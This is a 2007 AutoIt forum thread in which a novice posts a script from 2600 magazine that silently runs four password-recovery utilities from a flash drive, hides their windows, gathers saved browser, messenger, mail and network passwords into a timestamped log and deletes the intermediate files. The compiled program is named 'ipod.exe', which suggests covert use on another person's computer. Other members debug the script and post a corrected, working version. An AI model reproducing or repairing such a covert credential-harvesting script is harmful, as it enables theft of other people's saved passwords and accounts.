maradona Posted June 14, 2007 Posted June 14, 2007 ok, so i got this script out of 2600 quarterly...it's supposed to recover saved passwords on a computer...i have the four applications on the flash drive all ready, so i entered this script into the autoit v3 script editor, and i opened aut2exe script compiler to make it an .exe...but when i try, it says "error: unterminated string"am i missing anything somewhere? i checked it many times.here is the script:Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)sleep(200)Run(@ComSpec & ' /k "..\Password\Software\IM.exe /stext..\Password\NewIM.txt"', @ScriptDir, @SW_HIDE)sleep(200)Run(@ComSpec & ' /k "..\Password\Software\Mail.exe /stext..\Password\New\Mail.txt"', @ScriptDir, @SW_HIDE)sleep(200)Run(@ComSpec & ' /k "..\Password\Software\Network.exe /stext..\Password\New\Network.txt"', @ScriptDir, @SW_HIDE)sleep(1000)Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt ..\Password\New\all.txt"',sleep(1000)Dim $DateTime, $Location, $FileName$DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN &"-" & @SEC$Location = @WorkingDir & '\new\'$FileName = "all.txt"FileMove($Location & $FileName , $Location & $DateTime & ".log",1)sleep(2000)Run(@ComSpec & ' /k "del ..\Password\New\*.txt"', @ScriptDir, @SW_HIDE)sleep(1000)
Josbe Posted June 14, 2007 Posted June 14, 2007 Write your setence in single line not multiple:wrong:Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)correct:Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext ..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)note: Here, I don't know about the arguments, but this error message("unterminated string") is because this reason. AUTOIT > AutoIt docs / Beta folder - AutoIt latest beta
maradona Posted June 15, 2007 Author Posted June 15, 2007 (edited) ahh thanks a lot! i really dont know much of anything about this stuff....it worked, thanks again!EDIT: actually, it doesn't work. now it says "Error: Error parsing function call." it looks like this:Line 0 (File "K:\ipod.exe"):Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt..\Password\New\all.txt",Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt..\Password\New\all.txt"^ERRORError: Error parsing function call.what did i do wrong noww? Edited June 15, 2007 by maradona
piccaso Posted June 15, 2007 Posted June 15, 2007 you probably lost the 2 parameters somewhere... Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext ..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE) Sleep(200) Run(@ComSpec & ' /k "..\Password\Software\IM.exe /stext ..\Password\NewIM.txt"', @ScriptDir, @SW_HIDE) Sleep(200) Run(@ComSpec & ' /k "..\Password\Software\Mail.exe /stext ..\Password\New\Mail.txt"', @ScriptDir, @SW_HIDE) Sleep(200) Run(@ComSpec & ' /k "..\Password\Software\Network.exe /stext ..\Password\New\Network.txt"', @ScriptDir, @SW_HIDE) Sleep(1000) Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt ..\Password\New\all.txt"', @ScriptDir, @SW_HIDE) Sleep(1000) Dim $DateTime, $Location, $FileName $DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN & "-" & @SEC $Location = @WorkingDir & '\new\' $FileName = "all.txt" FileMove($Location & $FileName, $Location & $DateTime & ".log", 1) Sleep(2000) Run(@ComSpec & ' /k "del ..\Password\New\*.txt"', @ScriptDir, @SW_HIDE) Sleep(1000) CoProc Multi Process Helper libraryTrashBin.nfshost.com store your AutoIt related files here!AutoIt User Map
maradona Posted June 15, 2007 Author Posted June 15, 2007 thanks, i don't get any error messages now. so this should be creating a text file with the gathered information, right? ummm....where does it create it to? lol sorry.....a noob here.... all four applications are on a flash drive, and i put the .exe compiled from the script there also. i run the script exe and it opens for about 4 seconds in the system tray, but i don't see any text files...? i checked hidden files also
rolex Posted June 16, 2007 Posted June 16, 2007 i got the same error parsing function call error and im trying to fix it i see that you say hes lacking 2 parameters and how would i fix that?
rolex Posted June 16, 2007 Posted June 16, 2007 ok i fixed that...but now it says error in expression$DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN & "-" & @SEC$DateTime =^ERRORnow whats wrong?
PsaltyDS Posted June 16, 2007 Posted June 16, 2007 ok i fixed that... but now it says error in expression $DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN & "-" & @SEC $DateTime =^ERROR now whats wrong? Nothing at all wrong with that line: $DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN & "-" & @SEC MsgBox(64, "Results", $DateTime) If you have unpaired quotes or parens earlier in the script, you might see a problem like that. Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now